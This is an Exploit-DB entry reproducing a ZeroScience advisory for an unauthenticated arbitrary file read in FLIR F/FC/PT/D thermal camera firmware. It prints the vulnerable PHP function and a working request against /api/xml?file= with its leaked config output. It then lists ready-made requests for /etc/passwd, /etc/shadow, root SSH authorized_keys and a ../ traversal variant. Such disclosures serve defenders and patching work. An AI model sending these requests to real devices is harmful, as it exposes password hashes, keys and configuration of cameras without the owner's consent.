Exploit-DB #42786
Description: FLIR Thermal Camera F/FC/PT/D - Information Disclosure
Type: webapps
Platform: hardware
Date: 2017-09-25
Author: LiquidWorm

Exploit:
FLIR Systems FLIR Thermal Camera F/FC/PT/D Multiple Information Disclosures


Vendor: FLIR Systems, Inc.
Product web page: http://www.flir.com
Affected version: Firmware version: 8.0.0.64
                  Software version: 10.0.2.43
                  Release: 1.4.1, 1.4, 1.3.4 GA, 1.3.3 GA and 1.3.2
                  FC-Series S (FC-334-NTSC)
                  FC-Series ID
                  FC-Series R
                  PT-Series (PT-334 200562)
                  D-Series
                  F-Series

Summary: FLIR's PT-Series of high-performance, multi-sensor pan/tilt cameras
bring thermal and visible-light imaging together in a system that gives you
video and control over both IP and analog networks. The PT-Series' precision
pan/tilt mechanism gives you accurate pointing control while providing fully
programmable scan patterns, radar slew-to-cue, and slew-to-alarm functions.
PT-Series cameras define a new standard of performance with five models that
provide full 640x480 thermal resolution.

Desc: Input passed thru several parameters is not properly verified before
being used to read files. This can be exploited by an unauthenticated attacker
to read arbitrary files from local resources.

==============================================================================
/var/www/data/controllers/api/xml.php:
--------------------------------------

68:    private function readFile($file)
69:    {
70:        if (!empty($file) && file_exists($file)) {
71:            $xml = file_get_contents($file);
72:            $this->setVar('result', $xml);
73:            $this->loadView('webservices/default');
74:        }
75:        else {
76:            $this->loadPageNotFound();
77:        }
78:    }

==============================================================================


Tested on: Linux 2.6.18_pro500-davinci_evm-arm_v5t_le
           Linux 2.6.10_mvl401-davinci_evm-PSP_01_30_00_082
           Nexus Server/2.5.29.0
           Nexus Server/2.5.14.0
           Nexus Server/2.5.13.0
           lighttpd/1.4.28
           PHP/5.4.7


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5434
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5434.php


23.03.2017

--


Requests:

GET http://TARGET/api/xml?file=/var/www/data/modules/legacy/config.php HTTP/1.1

Output:
=====================================================================

<?php
$configFile = "config.ini";
// load configuration params
$config = parse_ini_file($configFile);
if (!$config || count($config) == 0 || !isset($config["dir_nexus"]))
   die("error loading configuration file...");

// TODO if don't exist configuration, create config.ini according system and nexus setup

// global
define ("BASE",       $config["dir_nexus"]);
define ("BIN",        $config["dir_bin"]);
define ("TMP_DIR",    $config["dir_tmp"]);
define ("SERVER_DIR", $config["dir_server"]);
define ("CONF_DIR",   $config["dir_conf"]);
define ("WEB_DIR",      "/web/");
define ("TOOLS_DIR",    "/tools/");
define ("HARDWARE_DIR", "/hardware/");
define ("BACKUPS_DIR",  "/backups/");
define ("BACKUPS_INI_DIR",  BACKUPS_DIR . "ini_files/");
define ("BACKUPS_SYS_DIR",  BACKUPS_DIR . "system_files/");

// server files
define ("INI_FILE",        "/server/conf/server.ini");
define ("INI_DEFAULTS", "factory.defaults");
define ("LOG_FILE",        "server.log");
define ("LOG_DEFAULT_PATH","/server/logs");
define ("SCANLIST_DEFAULT_PATH","/server/sl");
define ("LIC_FILE",        "/server/license/license.txt");
define ("ZOOM_LUT_FILE",   "/server/conf/zoom_lut.txt");
define ("DICTIONARY_FILE", "/server/conf/dictionary.txt");
define ("PELOC_D_FILE",    "/server/conf/PelcoD.map");
define ("FIRMWARE_FILE",    "firmware.sh");
define ("HARDWARE_FILE",   BASE."/hardware/hardware.cfg");

// server ini
define ("INI_SECTION_DEVICES", "Devices");
define ("INI_SECTION_DEVICES_IDS", " Ids");
define ("INI_SECTION_DEVICES_INTERFACE", "INTERFACE");
define ("INI_SECTION_INTERFACE", INI_SECTION_DEVICES_INTERFACE . " Configuration - Device ");

// nexus cgi
define ("NEXUSCGI_DEFAULTPORT", 0);
define ("NEXUSCGI_TYPE", "Nexus CGI Interface");

// web
define ("USERS_FILE", "config/app/users.txt");
define ("WEBVERSION", "3.4.0.0");
define ("RECOMENDEDSERVERVERSION", "2.5.13.0");

// xml files
define ("devicesFOLDER","devices");
define ("configFOLDER","configuration");
define ("driversFOLDER","drivers");

// system
// TODO
define ("UNZIP","/usr/bin/unzip");
define ("ZIP","/usr/bin/zip");
define ("SUDO", $config["sudo"]);
define ("FLIRSYS", $config["flir_system"]);
define ("FLIRSTP", $config["flir_setup"]);
define ("CONFSRC", $config["config_source_dir"]);
define ("INISRC", $config["config_source_ini_dir"]);
define ("LOCK_FILE", "/server/conf/.locked");

// service
define ("START",  SUDO . $config["service_start"]);
define ("STOP",   SUDO . $config["service_stop"]);
define ("STATUS", SUDO . $config["service_status"]);

// server file
define ("SERVER_FILE", SERVER_DIR . "bin/" .$config["server_file"]);
define ("STARTUP_FILE", $config["startup_file"]);
define ("BOOT_FILE", $config["boot_file"]);

define ('LINE_FEED', "\n");

// help
define ("HELP_FILES", $config["help_files"]);

// Debug mode
define("DEBUG", $config["debug_mode"]);
?>
=====================================================================


Other file requests:
--------------------

http://TARGET/api/xml?file=/etc/passwd
http://TARGET/api/xml?file=/etc/shadow
http://TARGET/api/xml?file=/proc/version
http://TARGET/api/xml?file=/root/.ssh/authorized_keys
http://TARGET/api/xml?file=/var/www/lighttpd.conf
http://TARGET/api/xml?file=../../../../../../../../../etc/passwd
http://TARGET/api/file/download/etc/shadow
http://TARGET/api/file/download/etc/passwd
http://TARGET/api/file/content/etc/shadow